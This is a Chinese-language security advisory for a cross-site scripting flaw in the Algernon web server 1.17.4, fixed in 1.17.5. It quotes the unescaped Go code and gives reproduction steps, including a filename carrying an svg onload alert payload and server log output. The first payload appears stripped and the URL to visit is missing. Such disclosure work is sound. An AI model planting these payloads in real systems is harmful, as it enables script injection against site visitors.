Algernon v1.17.4 存在跨站脚本(XSS)漏洞,攻击者可通过精心构造的文件名有效载荷执行任意代码。
部分变量未进行清理。 例如:
engine/dirhandler.go 第 80-108 行
filename := item.Name() // Get filename from filesystem
// ...
buf.WriteString(themes.HTMLLink(filename, URLpath, ac.fs.IsDir(fullFilename)))
themes/html.go 第 124-132 行
func HTMLLink(text, url string, isDirectory bool) string {
if isDirectory {
text += "/"
url += "/"
}
return "<a href=\"/" + url + "\">" + text + "</a><br>"
// 'text' (filename) is inserted directly without HTML escaping
}
从文件系统获取的文件名直接插入到 HTML 中,未进行 HTML 转义,出现在目录列表中。
$ algernon -v
Algernon 1.17.4
在一个目录中,创建以 XSS 有效载荷为名称的文件。
# XSS 有效载荷 1:简单弹窗
$touch "test.txt"
# XSS 有效载荷 2:文件名中的事件处理
$touch "document<svg onload=alert(document.domain)>.svg"
在同一个仓库中,运行应用。
algernon
Server directory: .
Server address: :3000
Database: Bolt (/tmp/algernon.db)
Cache mode: On
Cache size: 1048576 bytes
TLS certificate: cert.pem
TLS key: key.pem
Request limit: 10/sec per visitor
Large file threshold: 44040192 bytes
Large file timeout: 10 sec
INFO[0000] Serving HTTP/2 on https://localhost:3000/
ERRO[0000] open cert.pem: no such file or directory. Not serving HTTP/2.
INFO[0000] Use the -t flag for serving regular HTTP.
INFO[0000] Serving HTTP on http://localhost:3000/
访问以下 URL,将出现弹窗。



该问题已在 v1.17.5 中修复。
发现者:Benoit H. (Bnyt7)